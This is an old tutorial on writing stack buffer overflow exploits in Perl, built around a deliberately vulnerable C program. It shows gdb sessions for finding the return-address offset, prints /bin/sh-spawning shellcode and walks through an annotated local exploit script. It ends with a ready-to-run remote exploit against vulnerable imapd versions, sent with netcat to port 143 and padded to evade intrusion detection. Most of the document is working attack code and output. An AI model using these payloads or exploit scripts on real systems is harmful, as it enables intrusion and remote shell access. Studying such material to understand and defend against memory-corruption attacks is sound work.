home *** CD-ROM | disk | FTP | other *** search
- -- Writing Buffer Overflow Exploits with Perl - anno 2000 --
- <teleh0r@doglover.com> - http://teleh0r.cjb.net/
- ==============================================================
-
-
-
- Table of Contents:
- ~~~~~~~~~~~~~~~~~~~~
-
- [ 1. Introduction
- [ 2. Vulnerable Program Example
- [ 3. Shellcode
-
- [ 4. Designing the payload
- [ 5. Explained Example Exploit
- [ 6. Old Remote Imapd example exploit
-
- [ 7. Links & Resources
-
- -----------------------------------------------------------------------------
-
- Introduction:
- ~~~~~~~~~~~~~~~
-
- This paper is for those who want a practical approach to writing buffer overflow
- exploits. As the title says, this text will teach you how to write these exploits
- in Perl.
-
- If you want a more in-depth guide, please take a look at the links provided at the
- end of this paper, and read those instead.
-
-
- Vulnerable Program Example:
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
- Ok, time for a example. I have written a small program which is exploitable to a
- buffer overflow. strcpy() does not check the length of $KIDVULN before it starts
- placing its contents onto the stack, thus making the below program exploitable.
-
- -----------------------------------------------------------------------------
- ++ vuln.c
-
- #include <stdio.h>
- int main() {
- char kidbuffer[1024];
-
- if (getenv("KIDVULN") == NULL) {
- fprintf(stderr, "Grow up!\n");
- exit(1);
- }
-
- /* Read the environment variable data into the buffer */
- strcpy(kidbuffer, (char *)getenv("KIDVULN"));
-
- printf("Environment variable KIDVULN is:\n\"%s\".\n\n", kidbuffer);
- printf("Isn't life wonderful in kindergarten?\n");
- return 0;
- }
-
- ++ end
- -----------------------------------------------------------------------------
-
- [root@localhost teleh0r]# gcc -o vuln vuln.c
- vuln.c: In function `main':
- vuln.c:5: warning: comparison between pointer and integer
- [root@localhost teleh0r]# export KIDVULN=`perl -e '{print "A"x"1028"}'`
- [root@localhost teleh0r]# gdb vuln
- GNU gdb 19991004
- Copyright 1998 Free Software Foundation, Inc.
- GDB is free software, covered by the GNU General Public License, and you are
- welcome to change it and/or distribute copies of it under certain conditions.
- Type "show copying" to see the conditions.
- There is absolutely no warranty for GDB. Type "show warranty" for details.
- This GDB was configured as "i386-redhat-linux"...
- (gdb) r
- Starting program: /home/teleh0r/vuln
- Environment variable KIDVULN is:
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- <snip>
-
- Isn't life wonderful in kindergarten?
-
- Program received signal SIGSEGV, Segmentation fault.
- 0x40032902 in __libc_start_main (main=Cannot access memory at address 0x41414149
- ) at ../sysdeps/generic/libc-start.c:61
- 61 ../sysdeps/generic/libc-start.c: No such file or directory.
- (gdb)
-
- -----------------------------------------------------------------------------
-
- Ok, here we can see that our buffer size wasn't big enough. Had it been, then
- the stack pointer would have been overwritten and the EIP register would have
- been 0x41414141. (41 == A in hex.)
-
- -----------------------------------------------------------------------------
-
- [root@localhost teleh0r]# export KIDVULN=`perl -e '{print "A"x"1032"}'`
- [root@localhost teleh0r]# gdb vuln
- GNU gdb 19991004
- Copyright 1998 Free Software Foundation, Inc.
- GDB is free software, covered by the GNU General Public License, and you are
- welcome to change it and/or distribute copies of it under certain conditions.
- Type "show copying" to see the conditions.
- There is absolutely no warranty for GDB. Type "show warranty" for details.
- This GDB was configured as "i386-redhat-linux"...
- (gdb) r
- Starting program: /home/teleh0r/vuln
- Environment variable KIDVULN is:
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- <snip>
-
- Isn't life wonderful in kindergarten?
-
- Program received signal SIGSEGV, Segmentation fault.
- 0x41414141 in ?? ()
- (gdb)
-
- -----------------------------------------------------------------------------
-
- Now, we have totally overwritten the old return adress. We now see that it
- holds 4 A's. So what does this mean? Well, we can controll where EIP points to,
- and therefore we can get EIP to point to our payload. If this is successful our
- code will get executed on the stack.
-
- (Some operative systems/patches may prevent code being executed on the stack).
-
- -----------------------------------------------------------------------------
-
- We now know the length we will use to completely overwrite the return address.
- Since ESP points to the top of the stack, we can use the value of ESP when the
- program died, and (if needed) add a offset to it.
-
- This is how you get the stack pointer value to use your exploit.
-
- Program received signal SIGSEGV, Segmentation fault.
- 0x41414141 in ?? ()
- (gdb) info reg esp
- esp 0xbffff770 -1073744064
- (gdb)
-
- -----------------------------------------------------------------------------
-
- Shellcode:
- ~~~~~~~~~~~~
-
- If you want to learn how to write your own shellcode, please take a look at the
- links provided at the end of this paper. If you are lazy, and since you code in
- Perl, chances are high, you could use tools which will make the shellcode for you.
- Hellkit and execve-shell are good examples of such programs (great tools).
-
- (You will find these tools at: http://teso.scene.at/)
-
- [root@localhost execve-shell]# ./shellxp /bin/sh
- build exploit shellcode
- -scut / teso.
-
- constructing shellcode...
-
- [ 39/2048] adding ( 7): /bin/sh
- shellcode size: 47 bytes
-
- /* 47 byte shellcode */
- "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07"
- "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"
- "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"
- "\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01";
-
- -----------------------------------------------------------------------------
-
- Designing the payload:
- ~~~~~~~~~~~~~~~~~~~~~~~~
-
- The payload will be stored in the $buffer scalar, with the data which will be
- used for the exploitation. It will have the length needed to completely overwrite
- the old return address. We will insert this code into the targeted program
- (user-input) in order to change its flow.
-
- The payload will in most cases look like this:
-
- N = NOP (0x90) / S = Shellcode / R = ESP (+ offset).
-
- Buffer: [ NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSRRRRRRRRRRRRRR ]
-
- There are reasons why we construct the buffer this way. First we have a lot of
- NOPs, then the shellcode (which in this example will execute /bin/sh), and at last
- the ESP + offset values.
-
- The EIP register will get loaded with the value pointed to by ESP. So if ESP
- points to anywhere inside the NOPs, the NOPs will do "no operations", and
- continue to do nothing until the processor reaches the shellcode and then
- executes it. (See the figure below)
-
- _______________________________________________
- <---- |[ NNNNNNNNNNNNNNNNNNNNNNNNNNN-SHELLCODE-RRRRRRR ]| <----
- \_________________________/ ----> # ^
- ^ |
- |________________________________|
-
-
- If the buffer we were trying to overflow had been too small to add a decent
- amount of NOP's, the shellcode and RET's, the below layout could have been
- used when constructing the payload. (We could have added the NOP's and shellcode
- into a shell-variable as well)
-
- (R = Stack Pointer + Offset / S = Shellcode / N = x86 NOP)
-
- / ESP + offset / NOP's / Shellcode
- Payload: [ RRRRRRRRRRRRRRRNNNNNNNNNNNNNNNNNNSSSSSS ]
- | | ----------> #
- ----------
-
-
- (Note: The buffer cannot contain any NULL bytes!)
-
- -----------------------------------------------------------------------------
-
- Explained Example Exploit:
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
- #!/usr/bin/perl
-
-
- $shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
- "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
- "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
- "\xff\xff/bin/sh";
-
-
- $len = 1024 + 8; # The length needed to own EIP.
- $ret = 0xbffff770; # The stack pointer at crash time.
- $nop = "\x90"; # x86 NOP
- $offset = -1000; # Default offset to try.
-
-
- if (@ARGV == 1) {
- $offset = $ARGV[0];
- }
-
- for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
- $buffer .= $nop;
- }
-
- # [ Buffer: NNNNNNNNNNNNNN ]
-
- # Add a lot of x86 NOP's to the buffer scalar. (885 NOP's)
-
- $buffer .= $shellcode;
-
- # [ Buffer: NNNNNNNNNNNNNNSSSSS ]
-
- # Then we add the shellcode to the buffer. We made room for the shellcode
- # above.
-
- print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
-
- # Here we add the offset to the stack pointer value - convert it to hex,
- # and then print it out.
-
- $new_ret = pack('l', ($ret + $offset));
-
- # pack is a function which will take a list of values and pack it into a
- # binary structure, and then return that string containing the structure.
- # So, pack the stack pointer / ESP + offset into a signed long - (4 bytes).
-
- for ($i += length($shellcode); $i < $len; $i += 4) {
- $buffer .= $new_ret;
- }
-
- # [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ]
-
- # Here we add the length of the shellcode to the scalar $i, which after the
- # first for loop had finished held the value "885" (bytes), then the for loop
- # adds the $new_ret scalar until $buffer has the size of 1032 bytes.
- #
- # Could also have been written as this:
- #
- # until (length($buffer) == $len) {
- # $buffer .= $new_ret;
- #}
-
- local($ENV{'KIDVULN'}) = $buffer; exec("/bin/vuln");
-
- # Copy it into the shell variable KIDVULN, and execute vuln.
-
- -----------------------------------------------------------------------------
-
- #!/usr/bin/perl
-
- ## *** Successfully tested on IMAP4rev1 v10.190
- ## Written by: teleh0r@doglover.com / anno 2000
- ##
- ## This is nothing new - written just for fun.
- ## Vulnerable: imapd versions 9.0 > 10.223 / CA.
-
- # Shellcode stolen from imapx.c / The Tekneeq Crew
-
- $shellcode ="\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80".
- "\x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89".
- "\xf0\x89\x46\x08\x31\xc0\x88\x46\x07\x89\x46\x0c".
- "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80".
- "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff".
- "\x2f\x32\x39\x3e\x2f\x43\x38";
-
- $len = 1052; # Sufficient to overwrite the return value.
- $nop = A; # Using A (0x41) 'as' NOP's to try to fool IDS.
- $ret = 0xbffff30f; # Return Value / ESP / Stack Pointer.
-
- if (@ARGV < 2) {
- print("Usage: $0 <target> <offset>\n");
- exit(1);
- }
-
- ($target, $offset) = @ARGV;
-
- for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
- $buffer .= $nop;
- }
-
- $buffer .= $shellcode;
- $new_ret = pack('l', ($ret + $offset));
-
- $address = sprintf('%lx', ($ret + $offset));
- print("Address: 0x$address / Offset: $offset / Length: $len\n\n");
- sleep(1);
-
- for ($i += length($shellcode); $i < $len; $i += 4) {
- $buffer .= $new_ret;
- }
-
- $exploit_string = "* AUTHENTICATE {$len}\015\012$buffer\012";
-
- system("(echo -e \"$exploit_string\" ; cat) | nc $target 143");
-
- -----------------------------------------------------------------------------
-
- Links & Resources:
- ~~~~~~~~~~~~~~~~~~~~
-
- Smashing The Stack For Fun And Profit by Aleph One
- http://phrack.infonexus.com/search.phtml?view&article=p49-14
-
- Writing buffer overflow exploits - a tutorial for beginners.
- http://mixter.warrior2k.com/exploit.txt / Written by Mixter.
-
- TESO Security Group / http://teso.scene.at/